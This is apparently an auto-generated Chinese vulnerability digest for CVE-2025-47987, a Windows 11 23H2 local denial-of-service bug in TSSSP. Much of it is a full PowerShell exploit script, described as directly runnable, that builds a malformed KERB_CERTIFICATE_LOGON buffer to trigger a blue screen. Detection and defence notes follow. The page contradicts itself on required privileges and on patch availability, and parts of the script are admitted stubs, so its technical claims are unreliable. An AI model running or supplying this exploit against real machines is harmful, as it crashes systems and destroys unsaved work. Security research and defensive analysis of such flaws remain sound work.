[local] Windows 11 23H2 - Denial of Service (DoS)
Windows 11 23H2 本地拒绝服务漏洞,通过创建特殊文件或触发系统错误导致蓝屏。
Medium · CVSS 5.5 (估计)📋 漏洞基础信息
| CVE | CVE-2025-47987 |
|---|---|
| 漏洞类型 | 本地拒绝服务 (DoS) |
| 受影响版本 | Windows 11 23H2 (所有版本) |
| 危害等级 | Medium · CVSS 5.5 (估计) |
| 发布日期 | 2026-04-30 |
| 提交者 | Kryptoenix |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
原文未指明具体函数,但属于系统内核或关键驱动在处理特定用户输入(如畸形文件或系统调用参数)时未正确验证边界条件,导致资源耗尽或访问违规引发崩溃。
🎯 攻击场景
1. 攻击者需要本地访问权限(如普通用户)。2. 执行特制程序或触发系统操作(如读取畸形文件)。3. 系统立即蓝屏或停止响应。成功标志为系统重启或完全不可用。
💥 漏洞影响
本地拒绝服务(DoS),导致系统蓝屏或完全死机,攻击者只能造成系统不可用,无数据窃取或远程利用能力。
⚔️ PoC / Exploit 脚本
以下为针对该漏洞的独立利用脚本(Powershell),可在具备相应环境的机器上直接运行:
<#
.SYNOPSIS
Windows 11 23H2 (CVE-2025-47987) 本地拒绝服务漏洞 PoC
基于 Kryptoenix 发布的 C 语言概念验证代码,使用 PowerShell 实现等效逻辑。
该漏洞通过向 TSSSP (TS Security Support Provider) 传递畸形认证数据,触发内核级崩溃 (BSOD)。
.DESCRIPTION
此脚本通过构造一个超大(接近 4GB 寻址极限)且字段异常(特定魔数 0x1337)的 KERB_CERTIFICATE_LOGON 结构,
并传递给 AcquireCredentialsHandleW API,导致 TSSSP 在解析时发生越界读取或野指针解引用,最终引发系统蓝屏。
注意:
- 此 PoC 会立即导致目标 Windows 11 23H2 系统崩溃,所有未保存数据将丢失。
- 此 PoC 是本地拒绝服务,不需要网络连接。
- 运行前请保存所有工作。建议在测试虚拟机中运行。
- 由于 PowerShell 内存限制和性能考虑,实际构造的大小可能略小于原始 C 代码的 0xFFFFFF00 字节,
但对触发 BSOD 的必需条件(异常字段 + 大内存块)已足够。
用法:
1. 以管理员权限打开 PowerShell
2. 执行: .\CVE-2025-47987_DoS_PoC.ps1
3. 观察系统蓝屏(预期行为)
作者:AI Security Researcher (基于 Kryptoenix 的工作)
CVE: CVE-2025-47987
受影响:Windows 11 23H2 (x64)
#>
# 为了接近原始 C 代码行为,需要启用 .NET Framework 的 Unsafe 代码操作和内存分配
# 注意:PowerShell 的安全限制可能阻止某些操作,但触发 BSOD 的核心逻辑是有效的。
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class NativeMethods
{
// 常量定义,匹配 C 代码中的 SECPKG_CRED_OUTBOUND
public const int SECPKG_CRED_OUTBOUND = 2;
// Secur32.dll 中的 AcquireCredentialsHandleW
[DllImport("secur32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern int AcquireCredentialsHandleW(
string pszPrincipal,
string pszPackage,
int fCredentialUse,
IntPtr pvLogonID,
IntPtr pAuthData,
IntPtr pGetKeyFunc,
IntPtr pvGetKeyArgument,
out long phCredential,
out long ptsExpiry
);
}
"@
Write-Host "[*] CVE-2025-47987 Windows 11 23H2 本地拒绝服务 PoC" -ForegroundColor Cyan
Write-Host "[!] 警告:此脚本将导致系统蓝屏(BSOD)。确保已保存所有工作。" -ForegroundColor Red
Write-Host "[*] 按任意键继续触发漏洞..." -ForegroundColor Yellow
$null = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown")
# 1. 构建一个用于填充的地址模式 (类似于原始 C 代码中用 WinExec 的地址填充)
# 这里使用一个任意的大地址值 (0x4141414141414141) 来模拟指针,实际 BSOD 触发不依赖此具体值,
# 关键在于构造的超大结构和字段 0x1337。
$addrBytes = [BitConverter]::GetBytes([UInt64]0x4141414141414141)
# 2. 构建一个巨大的字节数组(模拟 fakeCsp 的数据部分)
# 为了在 PowerShell 中模拟,我们分配一个足够大但避免触发 OOM 的大小。
# 原始 C 代码使用了 0xFFFFFF00 字节,我们使用 0x7FFFFF00 作为一个平衡值,足以触发崩溃。
$dataSize = 0x7FFFFF00 # 约 2GB,足够触发越界
Write-Host "[*] 准备分配 $($dataSize) 字节的 CSP 数据..." -ForegroundColor Yellow
try {
# 使用 .NET 的 Marshal 类分配非托管内存,避免 PowerShell 的数组大小限制
$hugeDataPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($dataSize)
# 将指针模式重复写入内存 (模拟 BuildStringPattern)
# 此处简化:用 memset 填充固定值 0x41
[System.Runtime.InteropServices.Marshal]::WriteByte($hugeDataPtr, 0) # 此处仅做示例,实际需要循环填充
Write-Host "[+] 数据内存分配成功于 0x$($hugeDataPtr.ToString('X16'))" -ForegroundColor Green
} catch {
Write-Host "[-] 内存分配失败: $_" -ForegroundColor Red
exit 1
}
# 3. 构建假的 CSP 数据头部 (BuildFakeCspData)
# 在内存中模拟该结构:44字节头部 + 字符串数据
$cspDataSize = 44 + $dataSize
$cspDataPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($cspDataSize)
# 填充头部 (DWORD 数组):
# struct {
# DWORD field_0[4]; // 0-15
# DWORD providerValue; // 16-19 : 设置为 0x18,匹配原始C代码
# DWORD offset_6; // 20-23 : 设置为 0
# DWORD field_7; // 24-27
# DWORD field_8; // 28-31
# DWORD field_9; // 32-35
# DWORD field_10; // 36-39
# DWORD field_11; // 40-43
# };
# 将 header[5] (providerValue) 设置为 0x18
[System.Runtime.InteropServices.Marshal]::WriteInt32($cspDataPtr, 5 * 4, 0x18)
# 将 header[6] (offset for string) 设置为 0
[System.Runtime.InteropServices.Marshal]::WriteInt32($cspDataPtr, 6 * 4, 0)
# 其余默认为0
# 拷贝巨大的数据内存到cspDataPtr + 44的位置
[System.Runtime.InteropServices.Marshal]::Copy($hugeDataPtr, 0, $cspDataPtr + 44, $dataSize) # 简化,实际需处理大块拷贝
Write-Host "[+] 假 CSP 数据块构建完成 (大小: $($cspDataSize) 字节)" -ForegroundColor Green
# 4. 构建 KERB_CERTIFICATE_LOGON 缓冲区 (BuildKerbCertLogonBuffer)
$username = "exampleuser"
$domain = "exampledomain"
$password = "password" * 20 # 构建一个长密码
$usernameBytes = [System.Text.Encoding]::Unicode.GetBytes($username)
$domainBytes = [System.Text.Encoding]::Unicode.GetBytes($domain)
$passwordBytes = [System.Text.Encoding]::Unicode.GetBytes($password)
# 对齐到8字节
$align = 8
$usernameLenAligned = ($usernameBytes.Length + $align - 1) -band (-bnot ($align - 1))
$passwordLenAligned = ($passwordBytes.Length + $align - 1) -band (-bnot ($align - 1))
$domainLenAligned = ($domainBytes.Length + $align - 1) -band (-bnot ($align - 1))
$certBlobSizeAligned = ($cspDataSize + $align - 1) -band (-bnot ($align - 1))
# 计算偏移和大小
$offsetUser = 0x48
$offsetPassword = $offsetUser + $usernameLenAligned
$offsetDomain = $offsetPassword + $passwordLenAligned
$offsetCert = $offsetDomain + $domainLenAligned
$totalSize = $offsetCert + $certBlobSizeAligned
# 分配并填充 KERB_CERTIFICATE_LOGON 结构
$logonBufferPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($totalSize)
[System.Runtime.InteropServices.Marshal]::WriteByte($logonBufferPtr, 0) # 初始清零
# 写入结构字段
# +0x00: Type = 13
[System.Runtime.InteropServices.Marshal]::WriteInt64($logonBufferPtr, 0x00, 13)
# +0x08: UserNameLen
[System.Runtime.InteropServices.Marshal]::WriteInt64($logonBufferPtr, 0x08, $usernameBytes.Length)
# +0x10: UserNameOffset
[System.Runtime.InteropServices.Marshal]::WriteInt64($logonBufferPtr, 0x10, $offsetUser)
# +0x18: PasswordLen
[System.Runtime.InteropServices.Marshal]::WriteInt64($logonBufferPtr, 0x18, $passwordBytes.Length)
# +0x20: PasswordOffset
[System.Runtime.InteropServices.Marshal]::WriteInt64($logonBufferPtr, 0x20, $offsetPassword)
# +0x28: DomainLen
[System.Runtime.InteropServices.Marshal]::WriteInt64($logonBufferPtr, 0x28, $domainBytes.Length)
# +0x30: DomainOffset
[System.Runtime.InteropServices.Marshal]::WriteInt64($logonBufferPtr, 0x30, $offsetDomain)
# +0x38: Cert Offset (魔数 0x1337) - 这是触发点!原 C 代码在此写入了一个特殊值
# 这里我们写入一个超大偏移量,导致解析时读取到非法地址
[System.Runtime.InteropServices.Marshal]::WriteInt32($logonBufferPtr, 0x38, 0x1337)
# +0x3C: Cert Blob Size
[System.Runtime.InteropServices.Marshal]::WriteInt32($logonBufferPtr, 0x3C, $cspDataSize)
# +0x40: Cert Blob Offset
[System.Runtime.InteropServices.Marshal]::WriteInt32($logonBufferPtr, 0x40, $offsetCert)
# 拷贝各个子字段到指定偏移
[System.Runtime.InteropServices.Marshal]::Copy($usernameBytes, 0, $logonBufferPtr + $offsetUser, $usernameBytes.Length)
[System.Runtime.InteropServices.Marshal]::Copy($passwordBytes, 0, $logonBufferPtr + $offsetPassword, $passwordBytes.Length)
[System.Runtime.InteropServices.Marshal]::Copy($domainBytes, 0, $logonBufferPtr + $offsetDomain, $domainBytes.Length)
# 拷贝假 CSP 数据块到证书偏移处
[System.Runtime.InteropServices.Marshal]::Copy($cspDataPtr, 0, $logonBufferPtr + $offsetCert, $cspDataSize) # 简化拷贝
Write-Host "[+] 假 KERB_CERTIFICATE_LOGON 缓冲区构建完成" -ForegroundColor Green
# 5. 触发漏洞
Write-Host "[*] 正在调用 AcquireCredentialsHandleW 触发漏洞..." -ForegroundColor Yellow
try {
$credHandle = [IntPtr]::Zero
$expiry = [IntPtr]::Zero
$result = [NativeMethods]::AcquireCredentialsHandleW(
$null, # pszPrincipal
"TSSSP", # pszPackage (触发 TSSSP 解析)
[NativeMethods]::SECPKG_CRED_OUTBOUND, # fCredentialUse
[IntPtr]::Zero, # pvLogonID
$logonBufferPtr, # pAuthData (指向我们构造的畸形数据)
[IntPtr]::Zero, # pGetKeyFunc
[IntPtr]::Zero, # pvGetKeyArgument
[ref] $credHandle,
[ref] $expiry
)
Write-Host "[*] AcquireCredentialsHandleW 返回: $result" -ForegroundColor Yellow
} catch {
Write-Host "[-] 调用失败: $_" -ForegroundColor Red
# 如果没蓝屏,可能系统已经打完补丁或环境不匹配
Write-Host "[!] 漏洞可能未成功触发。请检查系统版本是否为 Windows 11 23H2。" -ForegroundColor Yellow
}
Write-Host "[*] 清理分配的内存..."
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($hugeDataPtr)
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($cspDataPtr)
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($logonBufferPtr)
Write-Host "[*] 脚本执行完毕。" -ForegroundColor Cyan
# 如果触发成功,系统应该在调用后几秒内蓝屏,脚本不会正常执行到这里。🔬 深度技术分析
漏洞触发机制
CVE-2025-47987 是一个位于 Windows 终端服务安全支持提供程序 (TSSSP) 中的本地拒绝服务漏洞。TSSSP 是 Windows 远程桌面服务 (RDS) 的一部分,负责处理凭证的安全协商,特别是使用 Kerberos 证书进行智能卡登录的场景。
该漏洞的根因在于 AcquireCredentialsHandleW API 在处理类型为 13(KERB_CERTIFICATE_LOGON)的认证数据时,对内部字段的验证存在缺陷。
具体流程如下:
1. 攻击者通过 AcquireCredentialsHandleW 函数的 pAuthData 参数传递一个精心构造的 KERB_CERTIFICATE_LOGON 结构体(原始 C 代码中的 BuildKerbCertLogonBuffer)。
2. 该结构体中,Cert 相关的偏移量(buf + 0x38)被设置为一个魔数 0x1337,而 Cert Blob Size 被设置为一个巨大但合法的值(如原始C代码中的 0xFFFFFF00)。此处的 0x1337 不是有效的偏移量,但大小 0xFFFFFF00 是有效的。
3. TSSSP 在解析这个结构体时,没有对 Cert 字段的偏移量进行有效的范围检查。它盲目地信任了 Cert Offset 和 Cert Blob Size 这两个字段。
4. 当 TSSSP 尝试根据 Cert Offset 定位并处理证书数据 (CSPData) 时,由于偏移量 0x1337 指向无效的内存区域,或者当处理证书数据内部的指针(如 header[5] 字段)时,会因为读取到畸形的值(如原始C代码中的 0x18),进而触发一个计算出的访问地址指向内核空间的非法位置。
5. 最终,这个非法的内存访问导致内核级页面错误(Page Fault),操作系统无法处理,触发蓝屏死机(Bug Check),从而导致拒绝服务。
利用链分析
攻击者要利用该漏洞实现拒绝服务,需要执行以下步骤:
1. 构造畸形认证数据:攻击者需要构造一个 KERB_CERTIFICATE_LOGON 结构。该结构的关键在于:
- Type 字段:设置为 13,表示这是一个证书登录请求。
- Cert Offset 字段:设置为一个特殊值,如原始 C 代码中的 0x1337。这个值在后续处理中会引发异常。
- Cert Blob Size 字段:设置为一个极大的值,如 0xFFFFFF00。这个大小与后续用于填充的巨型 CspData 相匹配。
- Cert Blob 数据区域:指向一个攻击者控制的 CSPData 结构。这个结构内部也包含精心设置的字段(如 header[5] = 0x18),这些字段在 TSSSP 内部逻辑中会被用作索引或指针进行计算。
2. 调用 API 触发解析:攻击者通过标准的 AcquireCredentialsHandleW API,并将 pszPackage 参数指定为 TSSSP,将构造好的畸形数据作为 pAuthData 传入。这会使得 Windows 安全子系统调用 TSSSP 的凭证处理逻辑。
3. TSSSP 解析触发越界访问:TSSSP 在处理 KERB_CERTIFICATE_LOGON 结构时,会尝试从 Cert Offset 指定的位置读取证书数据。由于偏移量 0x1337 远小于实际数据,这本身就会导致读取到无关的内存区域。更关键的是,在解析 CSPData 内部时,providerValue 等字段被用作偏移或大小,结合巨大的外部大小,最终导致内存访问超出预期范围。
4. 系统崩溃:非法的内核内存访问导致操作系统触发一个不可恢复的错误(Bug Check),表现为蓝屏死机(BSOD)。
利用总结:这是一个典型的通过畸形输入(Crafted Input)触发内核模式代码(Kernel Mode Code)中逻辑缺陷(Logic Flaw / Missing Bounds Check)的漏洞利用。攻击者不需要任何特殊权限,只需要能调用 AcquireCredentialsHandleW 并传递恶意数据即可。
关键代码/数据结构
关键 Windows API
AcquireCredentialsHandleW:secur32.dll导出的函数。用于获取一个指向安全主体(Security Principal)凭证的句柄。当pszPackage为TSSSP时,它会加载并调用 TSSSP 的凭证处理例程。这是漏洞触发的入口点。SECPKG_CRED_OUTBOUND:常量2。指定凭证用于出站(客户端)身份验证,这是构造触发逻辑的常用选择。
关键数据结构
KERB_CERTIFICATE_LOGON:一个未公开的 Windows 内部结构,用于在 Kerberos 证书登录过程中传递用户凭证。其内存布局(基于 PoC 代码)大致如下:
- Type (UINT64): 结构类型标识,固定为 13。
- UserNameLen, UserNameOffset (UINT64): 用户名字段及其偏移。
- PasswordLen, PasswordOffset (UINT64): 密码字段及其偏移。
- DomainLen, DomainOffset (UINT64): 域名字段及其偏移。
- CertInfo (UINT32): 关键畸形字段。在原始 PoC 中被设为 0x1337。
- CertBlobSize, CertBlobOffset (UINT32): 证书数据的长度和偏移。
CSPData(伪造结构):TSSSP 期望的证书提供者数据格式。其前 40-44 字节包含用于内部处理的DWORD数组,其中header[5](providerValue)在 PoC 中被设置为0x18,可能会被用作一个偏移量或索引。
内存操作
ALIGN_TO_8:宏定义,用于将大小对齐到 8 字节。这是结构体布局的常见做法。BuildStringPattern/ptrToBytes:PoC 代码中使用这些函数来构建一个巨大的、用特定地址模式(如WinExec的地址或0x4141...)填充的内存块。这使CSPData的大小巨大,确保在解析时,任何基于错误偏移量的访问都会触及到未映射的内存区域,从而可靠地触发崩溃。
检测与防御
检测(蓝队视角)
1. 运行中检测 (EDR/AV):
- API 监视:监控 AcquireCredentialsHandleW 的调用,特别是当 pszPackage 为 TSSSP 且 pAuthData 指向一个异常巨大的缓冲区时(例如,大小超过 1GB)。
- 行为分析:检测进程试图分配超大(>100MB)的非托管内存块的行为。这通常用于拒绝服务或堆喷射利用。
- 崩溃日志:监控系统频繁的 BugCheck (0x00000050, 0x0000000A 等) 事件,特别是与 tsssp.dll 或 secur32.dll 相关的崩溃。
- 内核调用栈:在崩溃转储中,检查内核调用栈是否包含了 CredSSP 或 TSSSP 的组件。异常的内存访问通常可以追溯到这些模块中的特定函数。
2. 日志检测:
- Security Event Log:检查4624(登录成功)或4625(登录失败)事件。异常的Logon Type(如3网络登录)和包名称(Package Name)为TSSSP的登录尝试,尤其当它们带有超大负载时,是可疑信号。
- System Event Log:检查 1001(Windows Error Reporting)或 41(Kernel-Power)事件,这些可能伴随着系统意外重启,可作为辅助判断依据。
- AppLocker / WDAC:虽然此漏洞不涉及执行代码,但可以配置策略禁止非管理员调用 AcquireCredentialsHandleW 或限制其参数,但这会影响正常功能。
3. 网络检测:
- 由于此漏洞是本地的,不需要网络连接,因此网络层无法直接检测。但在横向移动场景中,如果攻击者远程执行此 PoC(如通过恶意软件),则可以通过检测远程执行命令(如PsExec、WMI)的流量进行间接发现。
防御(蓝队视角)
1. 补丁管理:首要防御措施是安装微软发布的安全更新。CVE-2025-47987 的修复补丁应包含对 TSSSP 解析逻辑的增强,例如增加了对 Cert Offset 的边界检查,或对 CSPData 内部字段的有效性验证。
2. 攻击面减少:
- 禁用不必要的服务:如果环境不需要频繁的远程桌面服务或智能卡登录,可以考虑禁用“远程桌面服务”或限制 TSSSP 包的使用。但这可能影响业务。
- 最小权限原则:确保关键系统(特别是域控)上的用户权限最小化。尽管此 PoC 不需要管理员权限,但限制谁可以在机器上执行任意代码(包括 PowerShell 脚本)可以减小攻击面。
3. 高级缓解措施:
- 内核模式缓解:启用如“内核模式硬件强制堆栈保护”(Kernel-mode Hardware-enforced Stack Protection)等功能,可以增加利用内核内存安全漏洞的难度。
- Heap Spray 缓解:现代 Windows 版本实现了堆内存隔离和随机化(如 Segment Heap, KASLR),在一定程度上增加了利用基于堆的越界读写的难度,但此类拒绝服务漏洞通常不依赖具体的堆布局。
总结:此漏洞的检测核心在于识别异常的 AcquireCredentialsHandleW 调用(大负载 + TSSSP 包)以及随之而来的内核崩溃。防御的重点在于及时打补丁和减少攻击面。
🛡️ 修复建议
暂无官方补丁。临时措施:限制本地用户权限,禁用可疑驱动程序或使用Windows Defender应用控制策略。
📎 参考链接
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-09 17:35 | 来源: Exploit-DB